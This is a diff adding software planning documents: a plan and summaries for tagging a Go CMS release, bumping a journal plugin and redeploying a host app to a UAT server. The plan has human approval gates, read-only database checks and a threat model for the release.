+- `modules/cabana/README.md`, `docs/backend/forms.md`: default locale first.
+- `docs/backend/lists-and-filters.md`: relation search and to-many sort semantics.
+- `admin/src/state/listState.ts`: `LIST_STATE_PREFIX`, `readListState`, `writeListState` and `clearListStates`.
+- `admin/src/views/ListView.vue`: restore before the first request, the URL wins, 422 forgets the state, page clamp.
+- `admin/src/state/useAuth.ts`: logout clears list states.
+- `admin/src/state/useSidebar.ts`: header comment names `listState.ts` as the only other storage writer.
+- `admin/tests/list/ListView.test.ts`: the two D-01 smoke cases.
+- `admin/tests/smoke/list.smoke.test.ts`: `beforeEach` clears list states (deviation 1).
+- `scripts/check-phase10.sh`: storage allowlist now includes `listState.ts`.
+- `modules/boardwalk/dist/`: rebuilt SPA.
+- `../sm-journal-plugin/classes/format_html.go`: `html.WithUnsafe()`, variables renamed so nothing shadows the import.
+- `../sm-journal-plugin/classes/format_html_test.go`: `TestFormatHTMLKeepsRawHTML`.
+- `../sm-journal-plugin/README.md`: Posts bullet.
+
+## Decisions Made
+
+- All relation types are searched through EXISTS, not only to-many ones, so the count query never gains a JOIN (RESEARCH Pitfall 1).
+- Relation sort validates through the same builder, so a bad related column or a polymorphic relation answers 422 on sort as well as on search.
+- The related column is resolved with `FieldSchema.LookUpField` and emitted by its `DBName`.
+- The stored list state uses the flat URL form (`toListQuery`) and is read back through `parseListQuery`, so stale or tampered values are dropped exactly like a hand-edited URL.
+
+## Deviations from Plan
+
+### Auto-fixed Issues
+
+**1. [Rule 3 - Blocking] List smoke tests leaked list state between tests**
+- **Found during:** Task 4
+- **Issue:** `admin/tests/smoke/list.smoke.test.ts` has its own `beforeEach`, which does not clear browser storage. Once lists remember their query, a filter set by an earlier test was restored in "hides the filter bar without filters...". That test then saw `filter[created]` and `filter[maker]` in the URL and failed.
+- **Fix:** the file's `beforeEach` calls `clearListStates()`, so every test starts from a clean list. The file is not in the plan's `files_modified`; it was staged by explicit path in the Task 4 commit.
+- **Files modified:** `admin/tests/smoke/list.smoke.test.ts`
+- **Verification:** the full vitest suite passes (75 files, 1106 tests).
+- **Committed in:** `9cac45c`
+
+---
+
+**Total deviations:** 1 auto-fixed (1 blocking)
+**Impact on plan:** test isolation only; there is no behavior change and no scope creep.
+
+## Issues Encountered
+
+- `go test ./modules/cabana` without `-run` fails on the Docker-backed tests (no Docker socket permission), as the plan expected. Every failure is a Docker error, and none of those tests uses a writer whose default locale is not first. Recorded in `deferred-items.md`.
+- `scripts/check-phase10.sh --hygiene` and `--self-test` refuse 5 findings in files this plan does not touch (`admin/src/api/files.ts`, `FileCaptionModal.vue`, `MLField.vue`, `mlLocale.ts`). The storage rule changed here passes. Recorded in `deferred-items.md`.
+
+## User Setup Required
+
+None. No external service configuration is required.
+
+## Next Phase Readiness
+
+- Plan 02 can tag the summercms.go release (commits `06d75cb`, `bd8626e`, `9cac45c`), push sm-journal-plugin `528d2d8`, bump the host and redeploy.
+- After the deploy, re-save posts 53 and 64 to repair their `content_html`.
+- Before tagging, run the Postgres-backed cabana suite on a machine with Docker; this machine has none.
+- Plan 03 can reuse `openDryRunDB` and `newDryRunListService` for full coverage of the relation builder (hasOne, self-referencing, soft delete, polymorphic refusal, sort validation) and of `listState.ts`.
+
+---
+*Phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f*
+*Completed: 2026-10-09*
+
+## Self-Check: PASSED
+
+All created files exist; commits 06d75cb, bd8626e, 9cac45c (summercms.go) and 528d2d8 (sm-journal-plugin) are present.

.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-02-PLAN.md

@@ -0,0 +1,240 @@
+---
+phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f
+plan: 02
+type: execute
+wave: 2
+depends_on: ["16.1-01"]
+files_modified:
+  - ../sm-journal-plugin/go.mod
+  - ../sm-grzybyfunkcjonalne-app/plugins/golem15/journal
+  - ../sm-grzybyfunkcjonalne-app/README.md
+  - ../sm-grzybyfunkcjonalne-app/DEPLOY.md
+autonomous: false
+requirements: [D-04, D-03]
+user_setup:
+  - service: UAT admin (https://uat.grzybyfunkcjonalne.pl/gfadmin)
+    why: "The executor holds no UAT basic-auth or admin credentials; a human runs the posts-list search and re-saves posts 53 and 64 (D-03, D-04)"
+    dashboard_config:
+      - task: "Log in to the admin through the UAT basic-auth realm with an admin account"
+        location: "browser, https://uat.grzybyfunkcjonalne.pl/gfadmin"
+estimate:
+  tokens: 50000
+  raw_tokens: 50000
+  tasks: 3
+  confidence: low
+must_haves:
+  truths:
+    - "D-04: an annotated summercms tag (v0.1.16, or the next free v0.1.x if the concurrent session tagged first) contains every 16.1-01 cabana and admin commit and is on origin; when an existing tag already contains them, no new tag is cut and that tag is recorded instead."
+    - "D-04: sm-journal-plugin main, holding the FormatHTML fix and a go.mod require of the release tag, is on origin, and sm-grzybyfunkcjonalne-app's plugins/golem15/journal gitlink points at it; the host README and DEPLOY.md no longer tell admins to avoid re-saving imported posts."
+    - "D-04: UAT runs a binary built by scripts/build.sh from the tagged framework working tree and the bumped journal gitlink; its sha256 on the server equals the local build, both supervisor programs are RUNNING, the previous binary is kept as bin/grzybyfunkcjonalne.prev, and the on-server smoke.sh --url run ends with 'smoke: ok ('."
+    - "D-02: after the restart, a human search in the UAT Journal posts list returns rows, and the Go log shows no SQLSTATE 42703 line since the restart."
+    - "D-03: after a human re-saves posts 53 and 64 in the admin, no post's content_html holds goldmark's raw-HTML placeholder comment, and post 64's content_html contains its footer element again."
+    - "D-01 and D-03 on UAT (end-of-phase human check): sort and a category filter survive open post and back, save-and-close and rail navigation, and stay in the URL; an imported post's form shows title, slug, content and excerpt with pl first."
+  artifacts:
+    - path: "../sm-grzybyfunkcjonalne-app/DEPLOY.md"
+      provides: "release and rollback procedure, without the obsolete admin re-save warning"
+      contains: "## Release"
+    - path: "../sm-journal-plugin/go.mod"
+      provides: "nominal require of the release tag (the replace to ../summercms.go stays)"
+      contains: "git.golem15.com/golem15/summercms v0.1."
+  key_links:
+    - from: "../sm-grzybyfunkcjonalne-app/plugins/golem15/journal (gitlink)"
+      to: "sm-journal-plugin origin/main"
+      via: "submodule pointer bump committed and pushed in the host"
+      pattern: "plugins/golem15/journal"
+    - from: "../sm-grzybyfunkcjonalne-app/scripts/build.sh"
+      to: "../summercms.go at the release tag"
+      via: "replace git.golem15.com/golem15/summercms => ../summercms.go in the host go.mod"
+      pattern: "summercms.go"
+  prohibitions:
+    - "[FLAGGED-UNVERIFIED] The release must not run write SQL on the UAT database or bulk-rewrite content_html; only posts 53 and 64 are re-saved, by a human, in the admin."
+    - "[FLAGGED-UNVERIFIED] The live Winter site, its vhost, php-fpm and the PHP database must not be touched by the redeploy (Phase 16 D-10 stays in force)."
+    - "[FLAGGED-UNVERIFIED] The executor must not request, print, store or commit any credential: UAT basic auth, admin password or a server .env secret."
+---
+
+## Phase Goal
+
+ROADMAP Goal (not in user-story format): the Journal posts list and post form in the admin work on real imported data found on UAT, and the fixes are released as a summercms tag, the host is bumped, UAT is redeployed and the staging smoke re-runs.
+
+This plan's slice (D-05: "02 release and redeploy to UAT, including re-saving posts 53 and 64"): the 16.1-01 fixes reach UAT behind a human release gate, and the four defects are checked on the real imported data.
+
+Wave order (stated per the orchestrator's request): 01 (wave 1) then this plan (wave 2) then 03, the unit tests (wave 3). CLAUDE.md lean rule 3 says earlier plans "must not be blocked on coverage" and the unit-test plan is the last plan of the phase, so the release does not wait for plan 03, as Phase 16 shipped 16-04 (deploy) before 16-05 (tests). The release gate runs the 16.1-01 smoke tests; plan 03's tests land on master after the tag and ship with the next tag. Plan 03 runs after this plan so the two never commit or push in the same repositories at the same time.
+
+## Spec-less probe fallback
+
+Visible skip: no REQUIREMENTS.md IDs to probe. CONTEXT D-04 (release mechanics), D-03 (re-save of posts 53 and 64) and the RESEARCH "Release / deploy mechanics" and "Runtime State Inventory" sections are the source of truth. Claude's discretion (CONTEXT): the unused `en` locale on UAT is not disabled; the framework fix (default locale first) is enough for D-03, and changing UAT data was not asked for.
+
+## Artifacts this phase produces
+
+- A summercms annotated tag `v0.1.x` on origin (or the recorded existing tag that already contains the fixes).
+- sm-journal-plugin `main` on origin: the 16.1-01 FormatHTML commit and `chore(deps): require summercms v0.1.x`.
+- sm-grzybyfunkcjonalne-app `master` on origin: journal gitlink bump, README and DEPLOY.md without the admin re-save warning.
+- UAT server: new `/srv/grzybyfunkcjonalne/go/bin/grzybyfunkcjonalne`, previous one at `bin/grzybyfunkcjonalne.prev`, both programs restarted, posts 53 and 64 re-rendered by an admin save.
+
+<objective>
+Release and redeploy (D-04): pass a human-approved release gate, tag summercms, push the plugin and host bumps, build, deploy to uat.grzybyfunkcjonalne.pl per DEPLOY.md, smoke on the server, then confirm the four defects on UAT and restore posts 53 and 64 (D-03).
+
+Purpose: the fixes from 16.1-01 serve the real imported data on UAT.
+Output: pushed tag and branches, a running UAT release, a passing on-server smoke and read-only proof that the damaged posts are repaired.
+</objective>
+
+<execution_context>
+@~/.claude/msd-core/workflows/execute-plan.md
+@~/.claude/msd-core/templates/summary.md
+</execution_context>
+
+<context>
+@.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-CONTEXT.md
+@.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-RESEARCH.md
+@.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-01-SUMMARY.md
+@.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-04-SUMMARY.md
+@../sm-grzybyfunkcjonalne-app/DEPLOY.md
+
+Server facts (16-04-SUMMARY, DEPLOY.md "Server facts"): ssh alias `grzybyfunkcjonalne-uat` (user grzybyfunkcjonalne), install root `/srv/grzybyfunkcjonalne`, programs `grzybyfunkcjonalne-go` and `grzybyfunkcjonalne-nuxt`, sudo only for nginx -t, nginx reload and supervisorctl, PostgreSQL 17.11 reachable by peer psql as the deploy user. The UAT realm answers 401 off-server, so every HTTP check runs on the server with curl resolving the host to 127.0.0.1 (DEPLOY.md "Smoke").
+
+The host builds the framework from the `../summercms.go` working tree through a replace (`require ... summercms v0.0.0`), so there is no framework version to bump in the host; the host bump is the journal gitlink. Commits: no co-author tags, stage by explicit path, one logical change per commit.
+</context>
+
+<tasks>
+
+<task type="checkpoint:decision" gate="blocking-human">
+  <name>Task 1: Release gate: local checks green, tag chosen, a human approves the one-way tag push and the UAT deploy</name>
+  <read_first>../sm-grzybyfunkcjonalne-app/DEPLOY.md (Build and upload, Release, Smoke, Rollback), .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-01-SUMMARY.md (commit hashes per repository), .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-RESEARCH.md (Release / deploy mechanics, Open Question 1), .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-VALIDATION.md (Docker-host suites)</read_first>
+  <action>Before stopping, the executor does everything automatable and prints a release sheet.
+
+Concurrency (D-02): in summercms.go, git status --porcelain -- modules admin docs scripts must print nothing; git fetch origin --tags; git log --oneline HEAD..origin/master must print nothing. If origin/master has commits this checkout lacks, the concurrent session pushed: stop and report; do not merge or rebase on your own.
+
+Tag (D-04): if git tag --contains on the first 16.1-01 cabana commit lists a tag, the concurrent session's release already includes the fixes: propose reusing that tag and cutting none. Otherwise propose the highest tag from git tag -l 'v0.1.*' --sort=-v:refname plus one (v0.1.16 if nobody tagged after v0.1.15) and confirm with git ls-remote --tags origin that it does not exist yet.
+
+Run the release gate (the verify command). Then print the release sheet: the proposed tag; the commits that will be pushed from summercms.go (git log --oneline origin/master..HEAD, which also carries earlier planning-doc commits) and from ../sm-journal-plugin (git log --oneline origin/main..HEAD); the Postgres-backed suites that cannot run on this machine (TestListQueryContract and the rest of modules/cabana, the sm-journal-plugin admin harness); the deploy steps from DEPLOY.md "Release"; and the rollback (move bin/grzybyfunkcjonalne.prev back and restart grzybyfunkcjonalne-go). Stop for the human.</action>
+  <decision>Push summercms master and the proposed annotated tag, push the plugin and host bumps, and deploy to UAT now?</decision>
+  <context>A pushed tag is read by other repositories' go.mod and the Go module proxy and cannot be moved, only superseded. The cabana changes are covered by DryRun smoke tests only on this machine; the real-database proof is the UAT check in Task 3, with the previous binary kept for rollback. Plan 03 adds full unit coverage after the release (lean rule 3).</context>
+  <options>
+    <option id="release-now">
+      <name>Release now with the proposed tag</name>
+      <pros>UAT gets the fixes immediately; the UAT check in Task 3 exercises the new SQL on the real imported data; rollback is one mv and a restart</pros>
+      <cons>The Postgres-backed suites run only later, on a Docker host; a defect found then needs the next tag</cons>
+    </option>
+    <option id="docker-first">
+      <name>Run the Docker-host suites first, then release</name>
+      <pros>go test ./... in summercms.go and sm-journal-plugin, including the existing relation-search Postgres test, runs before the tag is pushed</pros>
+      <cons>Needs a Docker-enabled machine and delays UAT</cons>
+    </option>
+    <option id="hold">
+      <name>Hold the release</name>
+      <pros>Nothing leaves this machine</pros>
+      <cons>UAT keeps the four defects</cons>
+    </option>
+  </options>
+  <resume-signal>Reply "release vX" (release-now), "docker passed, release vX" (docker-first, after the human ran the suites), or "hold".</resume-signal>
+  <verify>
+    <automated>go vet ./... &amp;&amp; go -C ../sm-journal-plugin vet ./... &amp;&amp; go test -count=1 -run '^(TestListRelationSearchSmoke|TestEnabledLocalesDefaultFirstSmoke)$' -v ./modules/cabana 2&gt;&amp;1 | grep -c '^--- PASS: Test' | grep -qx 2 &amp;&amp; go -C ../sm-journal-plugin test -count=1 ./classes/ &amp;&amp; go test -count=1 ./cmd/summer -run TestDocsTree &amp;&amp; npm --prefix admin test &amp;&amp; bash scripts/check-admin-dist.sh &amp;&amp; echo release-gate-ok</automated>
+    <fails_when>Non-zero exit or "release-gate-ok" absent: vet fails in either repository, fewer than two "--- PASS: Test" lines for the two cabana smoke tests, a classes or docs test fails, a vitest file fails, or the dist drift gate reports modules/boardwalk/dist as stale.</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - The gate printed release-gate-ok.
+    - `git status --porcelain -- modules admin docs scripts` printed nothing and `git log --oneline HEAD..origin/master` printed nothing at the time of the gate.
+    - The SUMMARY records the release sheet (proposed or reused tag, commits to push per repository, suites not run) and the human's reply verbatim.
+  </acceptance_criteria>
+  <done>A human chose release-now or docker-first with a named tag, or hold (the plan stops).</done>
+</task>
+
+<task type="tracer">
+  <name>Task 2: Tracer: tag, push, bump, build and deploy; the on-server smoke passes on UAT</name>
+  <reversibility rating="one-way">A pushed annotated summercms tag is consumed by other repositories' go.mod and the Go module proxy; it cannot be moved, only superseded by a later tag.</reversibility>
+  <precondition>Task 1 was answered "release vX" or "docker passed, release vX", RELEASE_TAG is set to that tag in the session, and ssh grzybyfunkcjonalne-uat true exits 0.</precondition>
+  <files>../sm-journal-plugin/go.mod, ../sm-grzybyfunkcjonalne-app/plugins/golem15/journal, ../sm-grzybyfunkcjonalne-app/README.md, ../sm-grzybyfunkcjonalne-app/DEPLOY.md</files>
+  <read_first>../sm-grzybyfunkcjonalne-app/DEPLOY.md (Build and upload, Release, Smoke, the admin re-save warning section before "Production cutover"), ../sm-grzybyfunkcjonalne-app/README.md (Admin section, the bold warning paragraph near line 114), ../sm-grzybyfunkcjonalne-app/scripts/build.sh, ../sm-grzybyfunkcjonalne-app/.gitmodules, ../sm-journal-plugin/go.mod, the Task 1 release sheet in this plan's SUMMARY</read_first>
+  <action>Framework (D-04): unless Task 1 recorded an existing tag that already contains the fixes, re-run git log --oneline HEAD..origin/master (must print nothing), create the annotated tag on summercms.go master HEAD with git tag -a "$RELEASE_TAG" and the message "$RELEASE_TAG: cabana relation search and sort through subqueries, default content locale first, admin list state in the URL and browser storage", then git push origin master and git push origin "$RELEASE_TAG".
+
+sm-journal-plugin: go -C ../sm-journal-plugin mod edit -require=git.golem15.com/golem15/summercms@$RELEASE_TAG (the replace to ../summercms.go stays, so the require is nominal; precedent: "chore(deps): require summercms v0.1.10" in sm-translate-plugin); go -C ../sm-journal-plugin vet ./...; commit go.mod only with "chore(deps): require summercms $RELEASE_TAG"; git -C ../sm-journal-plugin push origin main (this also publishes the 16.1-01 FormatHTML commit).
+
+Host (../sm-grzybyfunkcjonalne-app): git -C plugins/golem15/journal fetch origin and check out the sm-journal-plugin main commit just pushed. Delete the bold README.md paragraph in the Admin section that tells admins not to edit imported posts, and the DEPLOY.md section between "Rollback" and "Production cutover" that tells them not to re-save imported posts: since the FormatHTML fix an admin save keeps imported HTML. Commit the gitlink, README.md and DEPLOY.md together with "chore: bump journal plugin; admin saves keep imported HTML" and push origin master.
+
+Build: bash ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh, then bash ../sm-grzybyfunkcjonalne-app/scripts/build.sh (it compiles the ../summercms.go working tree, which Task 1 found clean at the tagged HEAD). Record the local sha256sum of ../sm-grzybyfunkcjonalne-app/bin/grzybyfunkcjonalne.
+
+Release per DEPLOY.md "Release": rsync the binary to /srv/grzybyfunkcjonalne/go/bin/grzybyfunkcjonalne.new and config/, scripts/ and build/nuxt/.output/ as listed in "Build and upload" (never a local .env). On the server in /srv/grzybyfunkcjonalne/go: compare the sha256sum of bin/grzybyfunkcjonalne.new with the local one; cp -p bin/grzybyfunkcjonalne bin/grzybyfunkcjonalne.prev and mv bin/grzybyfunkcjonalne.new bin/grzybyfunkcjonalne; run bin/grzybyfunkcjonalne migrate (this phase adds no migration, it must still exit 0); record RESTART_TS as the server's date in the Go log format (date +'%Y/%m/%d %H:%M:%S') in the SUMMARY and the session; sudo supervisorctl restart grzybyfunkcjonalne-go grzybyfunkcjonalne-nuxt.
+
+Smoke on the server with the DEPLOY.md recipe (first verify command). On any failure: move bin/grzybyfunkcjonalne.prev back, restart grzybyfunkcjonalne-go, and report.</action>
+  <verify>
+    <automated>ssh grzybyfunkcjonalne-uat 'C=$(mktemp -d); printf "resolve = uat.grzybyfunkcjonalne.pl:443:127.0.0.1\n" &gt; "$C/.curlrc"; cd /srv/grzybyfunkcjonalne/go &amp;&amp; CURL_HOME="$C" scripts/smoke.sh --url https://uat.grzybyfunkcjonalne.pl; rc=$?; rm -rf "$C"; exit $rc' | grep '^smoke: ok ('</automated>
+    <fails_when>Non-zero exit: smoke.sh failed on the server, the output contains "smoke: FAIL", or no line starts with "smoke: ok (".</fails_when>
+    <automated>test "$(sha256sum ../sm-grzybyfunkcjonalne-app/bin/grzybyfunkcjonalne | cut -d' ' -f1)" = "$(ssh grzybyfunkcjonalne-uat 'sha256sum /srv/grzybyfunkcjonalne/go/bin/grzybyfunkcjonalne' | cut -d' ' -f1)" &amp;&amp; ssh grzybyfunkcjonalne-uat 'sudo supervisorctl status grzybyfunkcjonalne-go grzybyfunkcjonalne-nuxt' | grep -c RUNNING | grep -qx 2 &amp;&amp; test -n "$(git ls-remote --tags origin "refs/tags/$RELEASE_TAG")" &amp;&amp; echo deploy-ok</automated>
+    <fails_when>Non-zero exit or "deploy-ok" absent: the server binary differs from the local build, fewer than two programs are RUNNING, or the tag is missing on origin.</fails_when>
+  </verify>
+  <acceptance_criteria>
+    - `git ls-remote --tags origin` lists the release tag, and `git tag --contains` on the first 16.1-01 cabana commit lists it (or the SUMMARY names the existing tag Task 1 reused).
+    - `git -C ../sm-journal-plugin rev-parse main` equals `git -C ../sm-journal-plugin rev-parse origin/main`, and ../sm-journal-plugin/go.mod requires summercms at the release tag.
+    - `git -C ../sm-grzybyfunkcjonalne-app ls-files -s plugins/golem15/journal` shows the pushed sm-journal-plugin main commit, and the host master equals origin/master.
+    - `grep -ci omitted ../sm-grzybyfunkcjonalne-app/README.md ../sm-grzybyfunkcjonalne-app/DEPLOY.md` reports 0 for both files (both warnings removed).
+    - The on-server smoke prints a line starting with "smoke: ok (" and the second verify prints deploy-ok.
+    - The SUMMARY records the tag, the three pushed heads, the local and server sha256 and RESTART_TS; no credential appears in it.
+  </acceptance_criteria>
+  <done>UAT runs the released fixes from the pushed tag and branches, and every smoke URL passes on the server.</done>
+</task>
+
+<task type="checkpoint:human-action" gate="blocking-human">
+  <name>Task 3: UAT acceptance: a human searches the posts list and re-saves posts 53 and 64; the executor confirms with read-only checks</name>
+  <precondition>Task 2 printed deploy-ok and RESTART_TS is set in the session.</precondition>
+  <read_first>.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-RESEARCH.md (Runtime State Inventory: posts 53 and 64; Validation Architecture, Manual), .planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-VALIDATION.md (Manual-Only Verifications), ../sm-grzybyfunkcjonalne-app/DEPLOY.md (Smoke, Rollback)</read_first>
+  <action>Print the steps for the human and stop. The executor never asks for, receives or stores a credential. Required human steps in https://uat.grzybyfunkcjonalne.pl/gfadmin/golem15/journal/posts: (1) search "cordyceps" and confirm rows appear instead of "The list could not be loaded" (this runs the new relation subquery on the real categories pivot, D-02); (2) open post 53 (czy-amanita-muscaria-jest-legalna) and post 64 (ekstrakt-z-turkey-tail) and press "Zapisz" on each without editing, which re-renders their content_html through the fixed FormatHTML (D-03; RESEARCH: both lost their HTML at import). Optional now, otherwise collected at end of phase: the human-check list below. After the reply, run both verify commands. If either fails, report it and offer the DEPLOY.md rollback (move bin/grzybyfunkcjonalne.prev back and restart grzybyfunkcjonalne-go). Known and accepted (RESEARCH Pitfall 9): each save also stores empty en translations; public output is unchanged.</action>
+  <instructions>
+    Claude deployed the release and passed the on-server smoke in Task 2.
+    The human logs in to the UAT admin (basic-auth realm plus admin account), runs the search and re-saves posts 53 and 64, then replies.
+  </instructions>
+  <verification>Read-only psql on the server: no post holds the placeholder comment, post 64 has its footer element; the Go log since RESTART_TS has no SQLSTATE 42703.</verification>
+  <resume-signal>Type "resaved" once the search returned rows and both posts were saved, or describe what went wrong.</resume-signal>
+  <verify>
+    <automated>ssh grzybyfunkcjonalne-uat "psql -X -d grzybyfunkcjonalne -tAc \"SELECT (SELECT count(*) FROM golem15_journal_posts WHERE content_html LIKE '%raw HTML omitted%') || ':' || (SELECT count(*) FROM golem15_journal_posts WHERE id = 64 AND content_html LIKE '%&lt;footer%')\"" | grep -qx '0:1'</automated>
+    <fails_when>Non-zero exit: the output is not exactly "0:1" (a post still holds the placeholder comment, post 64 lacks its footer element, or psql could not connect).</fails_when>
+    <automated>ssh grzybyfunkcjonalne-uat 'sudo supervisorctl tail -65536 grzybyfunkcjonalne-go' | awk -v since="$RESTART_TS" 'substr($0,1,19) &gt;= since' | grep -c 'SQLSTATE 42703' | grep -qx 0</automated>
+    <fails_when>Non-zero exit: a line with "SQLSTATE 42703" was logged after RESTART_TS (with RESTART_TS unset every line is kept, so the earlier failure makes the check fail closed).</fails_when>
+    <human-check>On https://uat.grzybyfunkcjonalne.pl/gfadmin/golem15/journal/posts (D-01): set a sort and a category filter, open a post and press back; open another post and use "Zapisz i zamknij"; leave through the plugin rail and come back: each time the list keeps the sort and the filter and the URL shows them. Paste that URL into a new tab: same list. Log out and in again: the list opens unfiltered. (D-03): open any imported post: the locale selector shows pl first, and title, slug, content and excerpt are filled. /blog/ekstrakt-z-turkey-tail shows the author footer. Reply "UAT approved" or list the issues.</human-check>
+  </verify>
+  <acceptance_criteria>
+    - The SQL check prints exactly 0:1 on the server.
+    - The log check finds 0 "SQLSTATE 42703" lines after RESTART_TS.
+    - The SUMMARY records the human's reply and the human-check answer (or marks it pending for /msd-verify-work).
+  </acceptance_criteria>
+  <done>Search works on the real pivot, posts 53 and 64 have their HTML back, and the remaining UAT checks are answered or queued for verify-work.</done>
+</task>
+
+</tasks>
+
+<threat_model>
+## Trust Boundaries
+
+| Boundary | Description |
+|----------|-------------|
+| Executor → git origin (git.golem15.com) | tags and branches pushed here are read by other repositories |
+| Executor → UAT server (ssh) | the release runs next to the live Winter site on the same server |
+| Human admin → UAT admin | the only path that writes post data in this plan |
+| Server .env files → processes | secrets live only on the server |
+
+## STRIDE Threat Register
+
+| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
+|-----------|----------|-----------|----------|-------------|-----------------|
+| T-16.1-06 | Tampering (false-green release) | release gate | medium | mitigate | Task 1 runs vet in both Go repositories, the named smoke tests with a counted PASS check, TestDocsTree, the full vitest suite and the dist drift gate; the Docker-only suites are named in the release sheet and the human chooses release-now or docker-first at a blocking-human checkpoint |
+| T-16.1-07 | Tampering / Repudiation | annotated tag and pushes | high | mitigate | Tag only after git status is clean for modules, admin, docs and scripts and HEAD..origin/master is empty, re-checked right before the push; git tag --contains decides whether a concurrent release already includes the fixes; the uploaded binary's sha256 must equal the local build; the SUMMARY records every pushed head |
+| T-16.1-08 | Information Disclosure | server .env files and credentials | high | mitigate | No .env is rsynced (DEPLOY.md); the executor never asks for, prints or stores UAT basic-auth or admin credentials; all admin steps are done by the human; the SUMMARY carries no secret |
+| T-16.1-09 | Tampering | UAT database and the live Winter site | medium | mitigate | The executor runs only SELECT queries; post data changes only through two human admin saves; the Winter vhost, php-fpm and PHP database are not touched; the previous binary stays as bin/grzybyfunkcjonalne.prev for rollback |
+| T-16.1-10 | Elevation of Privilege | sudo on the server | low | accept | sudo is limited by the server to nginx -t, nginx reload and supervisorctl; this plan uses only supervisorctl restart, status and tail |
+| T-16.1-SC | Tampering | packages | high | mitigate | No package is installed: the binary and the Nuxt output are built locally from the committed lockfiles and go.sum by scripts/build.sh; go mod edit changes only the nominal summercms require, which resolves through the local replace |
+</threat_model>
+
+<verification>
+- Task 1 printed release-gate-ok and a human chose a release option.
+- Task 2: the on-server smoke prints "smoke: ok (" and deploy-ok is printed.
+- Task 3: the SQL check prints 0:1 and the log check finds no SQLSTATE 42703 after RESTART_TS.
+</verification>
+
+<success_criteria>
+- D-04: tag (or recorded existing tag), plugin and host bumps pushed; UAT redeployed per DEPLOY.md; on-server smoke passes.
+- D-02 and D-03 proven on the real UAT data; posts 53 and 64 repaired by an admin save.
+- No credential handled by the executor; no write SQL; the Winter site untouched.
+</success_criteria>
+
+<output>
+Create `.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-02-SUMMARY.md` when done, with the release sheet, the human replies, the tag and pushed heads, both sha256 values, RESTART_TS, the smoke line and the two read-only check results.
+</output>

.planning/phases/16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f/16.1-02-SUMMARY.md

@@ -0,0 +1,239 @@
+---
+phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f
+plan: 02
+subsystem: infra
+tags: [release, deploy, uat, supervisor, postgres, git-tag]
+
+requires:
+  - phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f
+    provides: "16.1-01 fixes: cabana relation search and sort subqueries, default locale first, journal FormatHTML keeps raw HTML, admin list state"
+provides:
+  - "summercms annotated tag v0.1.16 on origin (tag object d8e3536 on d77393b), containing 06d75cb, bd8626e and 9cac45c"
+  - "sm-journal-plugin main a675f2f on origin: FormatHTML fix plus a nominal require of summercms v0.1.16"
+  - "sm-grzybyfunkcjonalne-app master cac2ee7 on origin: journal gitlink bump; README and DEPLOY.md no longer warn against re-saving imported posts"
+  - "UAT runs the v0.1.16 build (sha256 46428720c4b53484c146ef22c4c851b78baf9633bfe371f9d4f9314c27ca1ceb), previous binary kept as bin/grzybyfunkcjonalne.prev"
+  - "Posts 53 and 64 on UAT re-rendered by an admin save: no raw-HTML placeholder anywhere, post 64 has its footer"
+affects: [16.1-03 unit tests, 16.2 blog editor, next summercms tag]
+
+actuals:
+  tokens: 708      # chars/4 over the realized diffs (sm-journal-plugin a675f2f + host cac2ee7); summercms.go had no code diff
+  tasks: 3
+  commits: 0       # summercms.go, measured: git rev-list --count d77393b..HEAD before this SUMMARY commit; sibling repos add 2 (a675f2f, cac2ee7) and the tag
+plan_head_before: d77393b4d1924ba5fa118faf71ded9a5163d6d5c
+plan_head_after: d77393b4d1924ba5fa118faf71ded9a5163d6d5c
+
+tech-stack:
+  added: []
+  patterns:
+    - "Go log checks on UAT read /var/log/supervisor/grzybyfunkcjonalne-go.log directly, anchored on the restart's alexandria client_id, not through supervisorctl tail"
+
+key-files:
+  created: []
+  modified:
+    - ../sm-journal-plugin/go.mod
+    - ../sm-grzybyfunkcjonalne-app/plugins/golem15/journal
+    - ../sm-grzybyfunkcjonalne-app/README.md
+    - ../sm-grzybyfunkcjonalne-app/DEPLOY.md
+
+key-decisions:
+  - "Release v0.1.16 cut on d77393b after the human chose docker-first and reported the Docker-host suites passed"
+  - "UAT log checks read the supervisor log file directly: supervisorctl tail fails with an XML-RPC ExpatError on the ANSI escapes in GORM log lines, and the error text passes a grep -c 0 check vacuously"
+  - "The D-01 and D-03 end-of-phase UAT checks are recorded as human-reported but not independently confirmed; they are queued for /msd-verify-work"
+
+patterns-established:
+  - "UAT post-data proof: read-only psql via ssh as the deploy user; post data changes only through human admin saves"
+
+requirements-completed: [D-04, D-03]
+
+coverage:
+  - id: D1
+    description: "summercms v0.1.16 annotated tag on origin contains every 16.1-01 commit; sm-journal-plugin main and the host master are pushed with the bumps; README and DEPLOY.md lost the re-save warning"
+    requirement: D-04
+    verification:
+      - kind: other
+        ref: "git tag --contains 06d75cb (v0.1.16); git ls-remote --tags origin refs/tags/v0.1.16 (d8e3536); journal main == origin/main a675f2f; host master == origin/master cac2ee7; grep -ci omitted README.md DEPLOY.md = 0/0"
+        status: pass
+    human_judgment: false
+  - id: D2
+    description: "UAT runs the locally built binary (sha256 equal on both sides), both supervisor programs RUNNING, previous binary kept, on-server smoke ok (98 urls)"
+    requirement: D-04
+    verification:
+      - kind: other
+        ref: "Task 2 verify 1: on-server scripts/smoke.sh --url https://uat.grzybyfunkcjonalne.pl -> 'smoke: ok (98 urls)'"
+        status: pass
+      - kind: other
